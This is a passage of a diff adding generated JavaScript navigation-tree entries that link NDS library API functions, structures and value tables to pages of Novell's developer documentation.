+ var navElement = navigationLink("NWDSModifyDN ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2223.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSModifyObject ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2232.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSModifyRDN ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2241.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSMoveObject ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2250.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSMutateObject ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/a37nkf6.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSOpenConnToNDSServer ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2259.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSOpenMonitoredConn ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2268.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSOpenStream ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2277.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPartitionReceiveAllUpdates ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2285.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPartitionSendAllUpdates ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2294.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutAttrName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2303.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutAttrNameAndVal ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2312.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutAttrVal ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2321.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutChange ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2330.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutChangeAndVal ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2339.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutClassItem ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2348.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutClassName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2357.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutFilter ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2364.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSPutSyntaxName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2373.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRead ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2380.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReadAttrDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2389.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReadClassDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2398.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReadNDSInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2407.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReadObjectDSIInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2416.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReadObjectInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2425.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReadReferences ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2434.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReadSyntaxDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2443.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReadSyntaxes ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2451.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReloadDS ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2459.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRemoveAllTypes ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2467.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRemoveAttrDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2475.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRemoveClassDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2484.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRemoveObject ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2493.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRemovePartition ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2501.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRemoveReplica ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2510.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRemSecurityEquiv ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2519.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRepairTimeStamps ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2528.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReplaceAttrNameAbbrev ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2536.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSResolveName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2544.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSRestoreObject ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2553.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSReturnBlockOfAvailableTrees ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2562.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSScanConnsForTrees ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2573.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSScanForAvailableTrees ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2582.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSearch ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2591.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSetContext ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2600.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSetCurrentUser ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2609.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSetDefNameContext ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2615.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSetMonitoredConnection ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2624.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSplitPartition ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2633.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSyncPartition ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2642.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSyncReplicaToServer ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2651.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSSyncSchema ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2660.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSUnlockConnection ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2669.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSVerifyObjectPassword ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2678.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSWhoAmI ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2687.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWGetDefaultNameContext ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2695.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWGetFileServerUTCTime ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2704.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWGetNumConnections ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2712.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWGetNWNetVersion ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2720.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWGetPreferredConnName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2727.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWIsDSAuthenticated ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2736.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWIsDSServer ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2743.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWNetInit ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2750.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWNetTerm ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2759.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWSetDefaultNameContext ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2767.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWSetPreferredDSTree ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2776.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Structures ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hqp7vveq.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Asn1ID_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2785.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Attr_Info_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2790.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Back_Link_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2795.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bit_String_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2800.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Buf_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2805.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("CI_List_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2810.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Class_Info_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2815.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("EMail_Address_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2820.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Fax_Number_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2826.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Filter_Cursor_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2831.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Filter_Node_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2836.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Hold_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2841.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSOSVersion_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2846.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSStatsInfo_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2850.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Net_Address_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2855.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDS_TimeStamp_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2860.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Object_ACL_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2865.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Object_Info_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2870.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Octet_List_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2875.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Octet_String_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2880.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Path_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2885.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Replica_Pointer_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2890.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Syntax_Info_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2895.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("TimeStamp_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2900.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Typed_Name_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2906.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Unknown_Attr_T ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2911.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Values ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hmmmal7s.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Attribute Constraint Flags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hudjk3k4.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Attribute Value Flags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h6anqw6h.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Buffer Operation Types and Related Functions ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h8bn0lfm.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Class Flags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hpj620k3.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Change Types for Modifying Objects ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hc4p686b.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Context Keys and Flags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h1btx3en.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Default Context Key Values ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hlkcqs3t.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DCK_FLAGS Bit Values ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/he1wcp92.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DCK_NAME_FORM Values ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hmd7uuiw.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DCK_CONFIDENCE Bit Values ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h7hy5yg3.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DCK_DSI_FLAGS Values ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/huh0ri39.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSI_ENTRY_FLAGS Values ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hqwiyl1u.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Filter Tokens ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h487zxy3.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Information Types for Attribute Definitions ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hdqx1cns.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Information Types for Class Definitions ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hcq403ms.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Information Types for Search and Read ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/ha682lf8.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Name Space Types ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hs6qj0yl.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Access Control Rights ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h12s89uj.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Ping Flags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hf0fdqhd.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSP Replica Information Flags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hw42a7qg.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
